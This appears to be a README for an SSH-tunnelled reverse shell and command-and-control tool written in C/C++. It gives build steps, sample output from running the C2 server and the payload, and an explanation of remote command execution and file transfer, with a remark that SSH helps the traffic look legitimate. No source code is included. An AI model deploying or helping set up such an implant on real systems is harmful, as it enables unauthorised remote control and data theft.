ssh-tcp-reverse-shell-cpp

A TCP reverse shell implemented in C/C++ encrypted over a SSH tunnel. libssh is used for implementing SSH and SFTP.

Prerequisites

• You need to have cmake installed on your machine.
• You need to have libssh installed on your machine.
• You need to have a rsa key on your system

Build

• Figure out where your rsa key file resides on the computer you'll be running the c2 instance. Adjust the KEYS_FOLDER macro in the c2/C2Server.h file.
• Adjust the host/port in the source headers.
• Configure cmake like following

    $ cmake -DCMAKE_BUILD_TYPE=Debug -G "Unix Makefiles"
  

• Build the executables with make $ make
• Execute the server and payload

  $ ./c2
  [+] Creating C2 server...
  [+] SSH server listening on 127.0.0.1:4433...
  

  $ ./payload
  [+] Setting up SSH connection...
  [+] Connecting to C2...
  [+] Authenticating...
  [+] Opening communication channel...
  

Functionality

• Arbitrary command execute
• File upload
• File download
• Encrypted communication over SSH

Details

The payload calls home to the c2 server in an endless loop until it receives the "quit" command. The c2 requests a command from the user upon beacon from the payload. You can send any CLI arguments and upload/download arguments in the form of:

CMD > upload <localFilePath> <remoteFilePath>

CMD > download <remoteFilePath> <localFilePath>

(localFilePath := on the target machine, remoteFilePath := on the c2 machine)

The communication is encrypted over SSH which makes it secure and look more legit.

Outstanding improvements

• Implement multi-user (multiple payloads) management
• Implement change directory cmd
• Implement binary files transfer (currently only text-ish files)